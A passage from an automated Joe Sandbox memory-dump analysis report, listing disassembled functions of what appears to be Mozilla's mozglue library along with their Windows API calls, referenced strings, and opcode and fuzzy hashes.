Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: bb97980b89471cfa29735502a488d0ad9b81ee0d57cc52aa2ac5b3e436215f1a
Instruction ID: a23565bb3cfc3e18e967a2210b6ed1415a4bc6c4e50e180c7ac8cdd9ec070e50
Opcode Fuzzy Hash: bb97980b89471cfa29735502a488d0ad9b81ee0d57cc52aa2ac5b3e436215f1a
Instruction Fuzzy Hash: 66419EB1B012059FDF00DFA5E988E967BB4EF4A328F804939ED1597740DB30A918CBE1

Function 6C6E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C6E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6E3FDC
RtlAllocateHeap.NTDLL ref: 6C6E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C6E3CCC), ref: 6C6E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C6E3CCC), ref: 6C6E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C6E3CCC), ref: 6C6E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C6E3CCC), ref: 6C6E4157

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: b10e0102f6225aa01b1f08998a667e8c7d7075b6a65e203ecf3f1ecbed753f75
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: FDA17FB1A05215CFDB40CF68C880669B7B5BF4C318F2541AAD909AF752D772E886CFA4

Function 6C729D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C728273), ref: 6C729D65
free.MOZGLUE(6C728273,?), ref: 6C729D7C
free.MOZGLUE(?,?), ref: 6C729D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C729E0F
free.MOZGLUE(6C72946B,?,?), ref: 6C729E24
free.MOZGLUE(?,?,?), ref: 6C729E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C729EC8
free.MOZGLUE(6C72946B,?,?,?), ref: 6C729EDF
free.MOZGLUE(?,?,?,?), ref: 6C729EF5

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: da68a3fc2ef4e0647a1eb4725328fbd05a9bdf40a45cb5f19ebcd6a3715455f4
Instruction ID: ebba2a1b8b0b5051d6e8d0b45f038cc98f51c8d6979266e1dbdc0f91df11236e
Opcode Fuzzy Hash: da68a3fc2ef4e0647a1eb4725328fbd05a9bdf40a45cb5f19ebcd6a3715455f4
Instruction Fuzzy Hash: 4771D0B0909B418BC712CF18C58055BF7F5FFA9314B44962DE89A5BB02EB30E886CBC5

Function 6C72DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C72DDCF

Part of subcall function 6C70FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C70FA4B

Part of subcall function 6C7290E0: free.MOZGLUE(?,00000000,?,?,6C72DEDB), ref: 6C7290FF
Part of subcall function 6C7290E0: free.MOZGLUE(?,00000000,?,?,6C72DEDB), ref: 6C729108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C72DE0D
free.MOZGLUE(00000000), ref: 6C72DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C72DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C72DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C72DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C71DEFD,?,6C6E4A68), ref: 6C72DF32

Part of subcall function 6C72DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C72DB86
Part of subcall function 6C72DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C72DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C71DEFD,?,6C6E4A68), ref: 6C72DF65
free.MOZGLUE(?), ref: 6C72DF80

Part of subcall function 6C6F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6F5EDB
Part of subcall function 6C6F5E90: memset.VCRUNTIME140(ewsl,000000E5,?), ref: 6C6F5F27
Part of subcall function 6C6F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6F5FB2

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: e22bfe3ba1b0510529ed3e1d566b54cf18f7b1a12ad063f63aac7e808c4e6357
Instruction ID: 73c77d3dec42516f5e0bf63c27202cb6f4a3159c4ffa9735b4e7e587540fc8ff
Opcode Fuzzy Hash: e22bfe3ba1b0510529ed3e1d566b54cf18f7b1a12ad063f63aac7e808c4e6357
Instruction Fuzzy Hash: 1351EE72A016019BD7209B28CA847EE7377BFB5308F95012CD45A53B01DB35F91AC79E

Function 6C735D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735DC9
std::_Facet_Register.LIBCPMT ref: 6C735DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C735C8C,?,6C70E829), ref: 6C735E45

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 603a93d01638a6c9a81e9a1a727f06b3a9b08e6c3f88f0d9d74956c2420da637
Instruction ID: 0481246e462ac98add646f4445e968d07a61393c6111a1faad7b8ecc2e8a8228
Opcode Fuzzy Hash: 603a93d01638a6c9a81e9a1a727f06b3a9b08e6c3f88f0d9d74956c2420da637
Instruction Fuzzy Hash: 13416870B003159FCB00DF65D9D9AAE77B9AF89318F544078E50A9B782EB35A805CB61

Function 6C70CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6D31A7), ref: 6C70CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C70CFA4, 6C70CFB8
<jemalloc>, xrefs: 6C70CF9F, 6C70CFB3

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 5af3c448011d9c9e25d139491d94dfcc69d47d3d19bddc9809a3940254eff153
Instruction ID: 3fb9853082adb8e97c9ef7486d6ccaacbf9e8d6e4800a564f480425dbe6e18db
Opcode Fuzzy Hash: 5af3c448011d9c9e25d139491d94dfcc69d47d3d19bddc9809a3940254eff153
Instruction Fuzzy Hash: F631A7B17402095BFF10AFA58E45BAE7BB9AB41719F744428F610EBAC0DF71E50087B2

Function 6C6DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6DF100: LoadLibraryW.KERNEL32(shell32,?,6C74D020), ref: 6C6DF122
Part of subcall function 6C6DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C6DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C6DEDCC
CreateFileW.KERNEL32 ref: 6C6DEE08
free.MOZGLUE(00000000), ref: 6C6DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C6DEE32

Part of subcall function 6C6DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C6DEBB5
Part of subcall function 6C6DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C70D7F3), ref: 6C6DEBC3
Part of subcall function 6C6DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C70D7F3), ref: 6C6DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C6DEDC1

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 3cc81d15abcbdd1ccbaf4dedfb092ba7a6339506ca902511eb799f041bc01aed
Instruction ID: 3fa3afce1dca83340e346515ab7f59cd5aec37603700634a741b3afd7a1853b1
Opcode Fuzzy Hash: 3cc81d15abcbdd1ccbaf4dedfb092ba7a6339506ca902511eb799f041bc01aed
Instruction Fuzzy Hash: 4851DF71D052098BDB00DF68C9446EEF7F1AF5A318F45842DE8556B780EB30B949C7EA

Function 6C74A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C74A565

Part of subcall function 6C74A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74A4BE
Part of subcall function 6C74A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C74A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C74A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C74A6B6

Strings

0, xrefs: 6C74A5FB
z, xrefs: 6C74A6AE

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: d5e99468fbcc1ac6dc5490df98da2361582c791597010a04e06caec1f8cf0ae8
Instruction ID: babbcfdeb81156563db7a4050574b39d0d8cf314be72d1076f2363646bbb1ff6
Opcode Fuzzy Hash: d5e99468fbcc1ac6dc5490df98da2361582c791597010a04e06caec1f8cf0ae8
Instruction Fuzzy Hash: 8C411575A087459FC341DF28C580A9ABBE5BF89354F508A3EF49987650EB30E649CB83

Function 6C719420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C70AB89: EnterCriticalSection.KERNEL32(6C75E370,?,?,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB94
Part of subcall function 6C70AB89: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
__Init_thread_footer.LIBCMT ref: 6C71949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C71947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C719459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C71946B

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 64885a091d1511e3bec34acc82be8e43e82cd5aaed78a6a7576dd593ef19b61c
Instruction ID: aa00cf2a5a49962619b32c1b02d56c0df09c9b8a36dd7d7d70e305ba54922ebf
Opcode Fuzzy Hash: 64885a091d1511e3bec34acc82be8e43e82cd5aaed78a6a7576dd593ef19b61c
Instruction Fuzzy Hash: 1001D870A041018BD7009B6DDE15B5B33B59B0932EF480936DD2B86F41DE22D9658957

Function 6C6DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB6AC

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C6DB61E), ref: 6C6DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C6DB61E,?,?,?,?,?,00000000), ref: 6C6DB79A

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: fbb184ccc9443bb41fda517d3ff1c7f1bb4fab80bc12c67f45ccc5dedafbaf2a
Instruction ID: 8abc56cd470829f0a32395a6a50452b899f5e4f0c7d1d37a375188b13091faf2
Opcode Fuzzy Hash: fbb184ccc9443bb41fda517d3ff1c7f1bb4fab80bc12c67f45ccc5dedafbaf2a
Instruction Fuzzy Hash: D941B3B2D001159FCB04DF68DC846AEB7B5FB85324F260629E825E7784E731AD0487E9

Function 6C74B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C74B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C74B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C74B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C74B5F4
__Init_thread_footer.LIBCMT ref: 6C74B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C74B61F
std::_Facet_Register.LIBCPMT ref: 6C74B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C74B655

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9b0d6ba457c5072db5a1226895b01a90620eabe9afef1726649ae5d2d96dd883
Instruction ID: 66a9df12dddb287b6ae05bd07d4ed1f6c2e685462dffa0f9b3ade0467f101fb9
Opcode Fuzzy Hash: 9b0d6ba457c5072db5a1226895b01a90620eabe9afef1726649ae5d2d96dd883
Instruction Fuzzy Hash: E4319C71B002088BCF00AF69C9999BEB7B5FB8A324B540579D90697780DF30BD06CB91

Function 6C716590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C70FA80: GetCurrentThreadId.KERNEL32 ref: 6C70FA8D
Part of subcall function 6C70FA80: AcquireSRWLockExclusive.KERNEL32(6C75F448), ref: 6C70FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C716727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C7167C8

Part of subcall function 6C724290: memcpy.VCRUNTIME140(?,?,6C732003,6C730AD9,?,6C730AD9,00000000,?,6C730AD9,?,00000004,?,6C731A62,?,6C732003,?), ref: 6C7242C4

Strings

data, xrefs: 6C716593
vul, xrefs: 6C71696C

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vul
API String ID: 511789754-1154025971
Opcode ID: 7c3b2d92180696cfc08d2cd00e52d7cbccdeef546298db433b0eece12bae1a8f
Instruction ID: b676f699b8129a1bb282e9a0afa457338a55f85ca5601c7985177b7cd2eb4b6f
Opcode Fuzzy Hash: 7c3b2d92180696cfc08d2cd00e52d7cbccdeef546298db433b0eece12bae1a8f
Instruction Fuzzy Hash: DDD1DF75A083408FD724DF25C944B9BBBE5EFD5308F14892EE48987B91EB30A909CB52

Function 6C70D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C6DEB57,?,?,?,?,?,?,?,?,?), ref: 6C70D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6DEB57,?), ref: 6C70D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C6DEB57,?), ref: 6C70D673
free.MOZGLUE(?), ref: 6C70D888

Strings

|Enabled, xrefs: 6C70D81E
Wml, xrefs: 6C70D5D9, 6C70D63F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wml$|Enabled
API String ID: 4142949111-2265074722
Opcode ID: d4bff97cc90946a1fe2c22cfb26b9cfd2c61c0d1db56b49d6a96fe84d04c1f2e
Instruction ID: 8d53e73f6dfe96e383bd406a1a018081099823b84c950174a3ee555760504e37
Opcode Fuzzy Hash: d4bff97cc90946a1fe2c22cfb26b9cfd2c61c0d1db56b49d6a96fe84d04c1f2e
Instruction Fuzzy Hash: F2A116B0B043048FDB11CF69C5807AEBBF1AF5A318F14806DD899AB781D735A945CBA5

Function 6C721D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C721D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C721BE3,?,?,6C721D96,00000000), ref: 6C721D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C721BE3,?,?,6C721D96,00000000), ref: 6C721D4C
GetCurrentThreadId.KERNEL32 ref: 6C721DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C721DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C721DDA

Part of subcall function 6C721EF0: GetCurrentThreadId.KERNEL32 ref: 6C721F03
Part of subcall function 6C721EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C721DF2,00000000,00000000), ref: 6C721F0C
Part of subcall function 6C721EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C721F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C721DF4

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

